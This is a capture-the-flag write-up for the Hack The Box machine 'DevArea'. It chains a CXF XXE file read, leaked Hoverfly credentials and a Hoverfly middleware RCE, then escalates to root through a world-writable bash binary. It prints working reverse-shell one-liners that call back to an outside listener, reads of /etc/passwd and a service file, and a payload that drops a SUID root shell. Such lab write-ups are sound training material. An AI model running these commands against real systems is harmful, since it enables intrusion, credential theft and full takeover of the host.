Skip to main content
HTB: DevArea
  1. Posts/

HTB: DevArea

Table of Contents

Introduction
#

Initial recon turns up an anonymous FTP share, a legacy Apache CXF SOAP service, and a Hoverfly API management dashboard, three services that, on their own, look like dead ends. But a CXF XXE bug is the key that unlocks everything else, leaking a systemd unit file with hardcoded Hoverfly credentials, which in turn opens the door to remote code execution via Hoverfly’s middleware API. From there, a foothold as dev_ryan leads to root through a misconfiguration: a sudo-executed script that trusts a world-writable bash binary.

Recon
#

nmap
#

nmap finds lots of TCP ports:

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.11.80
21/tcp   open  ftp     vsftpd 3.0.5        -> Anonymous login allowed
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp   open  http    Apache 2.4.58       -> redirects to devarea.htb
8080/tcp open  http    Jetty 9.4.27.v20200227
8500/tcp open  fmtp?   -> "This is a proxy server" (turned out irrelevant)
8888/tcp open  http    Go net/http -> Hoverfly Dashboard
  • FTP with anonymous login is an immediate lead
  • Port 80 redirecting to devarea.htb means /etc/hosts needs an entry before the vhost will render properly.
  • Jetty 9.4.27 (released 2020) on 8080 is old enough to be worth a CVE search on its own.
  • Port 8888 self-identifies as a Hoverfly Dashboard. Hoverfly is an API simulation/service-virtualization tool, and its management API is a known target for auth-bypass/RCE bugs.

Add devarea.htb to /etc/hosts

FTP loot
#

ftp 10.129.11.80
# Name: anonymous
cd pub
binary
get employee-service.jar

The pub directory contained employee-service.jar, a Java archive that, when decompiled (with jd-gui), revealed it’s a SOAP web service built on Apache CXF, started like this:

factory.setAddress("http://0.0.0.0:8080/employeeservice");

That maps directly onto the Jetty 9.4.27 service found on port 8080 in the nmap scan. Jetty is just hosting the CXF SOAP endpoint at /employeeservice, with its WSDL exposed at /employeeservice?wsdl.

Apache CXF’s MTOM/XOP attachment handling has a well-known XXE bug, CVE-2022-46364, affecting CXF ≤ 3.5.2 / ≤ 3.4.9. Because the vulnerable version doesn’t validate the URI scheme on <xop:Include href="...">, I can point it at file:// and read arbitrary local files through the “SOAP attachment” mechanism. Which effectively is an arbitrary file read via SSRF/XXE.

Using a public PoC for this CVE against http://devarea.htb:8080/employeeservice:

python3 CVE-2022-46364.py -t http://devarea.htb:8080/employeeservice -s file:///etc/passwd -d devarea.htb

leaked /etc/passwd, revealing the dev_ryan user.

Pivoting the same primitive at the Hoverfly systemd unit file:

python3 CVE-2022-46364.py -t http://devarea.htb:8080/employeeservice -s file:///etc/systemd/system/hoverfly.service -d devarea.htb

leaked the service file, which had Hoverfly’s admin credentials hardcoded directly on the ExecStart line:

ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0

Hoverfly authentication
#

admin : O7IJ27MyyXiU
curl -s -X POST http://10.129.12.36:8888/api/token-auth \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"O7IJ27MyyXiU"}' | jq -r .token
TOKEN="eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9...."

This authenticates to Hoverfly’s REST API using the leaked credentials and grabs a JWT for use on subsequent authenticated requests. The token is scoped with admin privileges, enough to touch Hoverfly’s management endpoints, including middleware configuration.

Hoverfly middleware RCE (CVE-2025-54123)
#

curl -s -X PUT http://10.129.12.36:8888/api/v2/hoverfly/middleware \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"binary": "/bin/bash", "script": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.176 4444 >/tmp/f"}'
nc -lvnp 4444
connect to [10.10.14.176] from (UNKNOWN) [10.129.11.80] 40726
$ id
uid=1001(dev_ryan) gid=1001(dev_ryan) groups=1001(dev_ryan)

Hoverfly lets me register “middleware”, an external binary/script that Hoverfly pipes intercepted requests/responses through for transformation.

The middleware API endpoint (/api/v2/hoverfly/middleware) doesn’t sufficiently validate/sandbox what gets registered here, which is the crux of CVE-2025-54123: an authenticated actor can register an arbitrary binary+script pair, and Hoverfly will happily execute it.

The payload:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.176 4444 >/tmp/f

/bin/bash is passed as the “binary,” and Hoverfly executes it with the script content, triggering the callback to the listener. This lands a shell as dev_ryan

Foothold & user flag
#

$ pwd
/opt/HoverFly
$ cd /home && ls
dev_ryan
$ cd dev_ryan && ls
syswatch-v1.zip
user.txt
$ cat user.txt
13b97e98f80caa267d926dde98bf951a
$ python3 -c "import pty;pty.spawn('/bin/bash')"

Standard stabilization step, upgrading the raw named-pipe shell to a proper PTY.

syswatch-v1.zip in the home directory is a strong hint that syswatch is a custom tool rather than a stock utility.

Privilege escalation recon
#

$ sudo -l
User dev_ryan may run the following commands on devarea:
    (root) NOPASSWD: /opt/syswatch/syswatch.sh
        web-stop, !/opt/syswatch/syswatch.sh web-restart
$ cat /opt/syswatch/syswatch.sh
cat: /opt/syswatch/syswatch.sh: Permission denied
$ sudo /opt/syswatch/syswatch.sh
SysWatch 1.0.0
Usage: /opt/syswatch/syswatch.sh <command> [args]
Commands:
  web                 Start web GUI
  web-stop            Stop web GUI
  web-restart         Restart web GUI
  web-status          Show web GUI status
  plugin <name> [args] Execute plugin
  plugins             List available plugins
  logs <file>         View log file
  logs --list         List available log files
  --version           Show version
  --help|-h|help      Show this help

dev_ryan can run syswatch.sh as root, but the script itself isn’t even readable by dev_ryan, so the exact internals had to be inferred from the leaked syswatch-v1.zip and from behavior. The script invokes /usr/bin/bash internally for several of its subcommands, and critically:

$ ls -la /usr/bin/bash
-rwxrwxrwx 1 root root 1396520 ... /usr/bin/bash

/usr/bin/bash is world-writable. That’s the whole vulnerability: a script that’s executed as root shells out to a binary that any unprivileged user can overwrite. Whatever gets written to /usr/bin/bash runs as root the next time syswatch.sh invokes it via sudo.

Building and staging the payload
#

dev_ryan@devarea:/opt/HoverFly$ cp /usr/bin/bash /tmp/bash.bak

First, back up the real bash binary to /tmp/bash.bak, this is what makes the exploit reversible and, more importantly, gives the malicious replacement something to exec into so the shell doesn’t just break for every other process on the box that expects /usr/bin/bash to behave normally.

dev_ryan@devarea:/tmp$ cat > /tmp/payload.sh << 'EOF'
#!/tmp/bash.bak
cat /root/root.txt > /tmp/root.txt
chmod 777 /tmp/root.txt
cp /tmp/bash.bak /tmp/rootbash
chmod +s /tmp/rootbash
cp /tmp/bash.bak /usr/bin/bash
exec /tmp/bash.bak "$@"
EOF
chmod +x /tmp/payload.sh

This is the core of the privesc:

  1. #!/tmp/bash.bak - when this file is itself invoked as if it were bash, the real bash runs it.
  2. cat /root/root.txt > /tmp/root.txt + chmod 777 - directly exfiltrates the root flag to a location dev_ryan can read, in case nothing else works.
  3. cp /tmp/bash.bak /tmp/rootbash + chmod +s /tmp/rootbash - drops a SUID copy of real bash at /tmp/rootbash. Since this whole script runs as root, the chmod +s here sets the SUID bit as root, so /tmp/rootbash becomes a persistent root shell for dev_ryan afterward.
  4. cp /tmp/bash.bak /usr/bin/bash - restores the real bash binary to its rightful path, cleaning up after the swap so the box doesn’t stay broken.
  5. exec /tmp/bash.bak "$@" - hands off execution to real bash with the original arguments, so syswatch.sh doesn’t error out or get suspicious mid-run.

Triggering the swap
#

At this point the world-writable /usr/bin/bash gets overwritten with /tmp/payload.sh’s contents.

$ python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('10.10.14.176',4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/dash','-i'])"
nc -lvnp 4445

A second, deliberately non-bash shell (/bin/dash) is spun up here on a fresh listener. Since the exploit involves overwriting /usr/bin/bash out from under the running system, any shell session that’s itself a bash process is at risk of breaking or dying mid-exploit. Using dash keeps a stable foothold that doesn’t depend on the very binary being swapped.

$ dd if=/tmp/payload.sh of=/usr/bin/bash conv=notrunc
0+1 records in
0+1 records out
184 bytes copied, 0.000185779 s, 990 kB/s

This is the actual overwrite, done from the dash shell so it’s unaffected by clobbering bash. dd ... conv=notrunc writes the payload’s bytes directly into the existing /usr/bin/bash inode/file rather than doing an unlink+recreate, a slightly more surgical way to replace the file’s contents in place.

$ sudo /opt/syswatch/syswatch.sh --version
/bin/bash: line 17: syntax error near unexpected token `('
/bin/bash: line 17: R�AbBN�@P@�(�L�.<:R@&...

The garbled output here is expected and actually a good sign, it’s syswatch.sh invoking the now-hijacked /usr/bin/bash, which executes the payload script as root. The visible garbage is just raw binary noise leaking to the terminal as part of that execution; the payload itself ran silently in the background and did its job.

$ cat /tmp/root.txt
2410ee9e3eef5e625bedce47d5bbe1e9
Author
~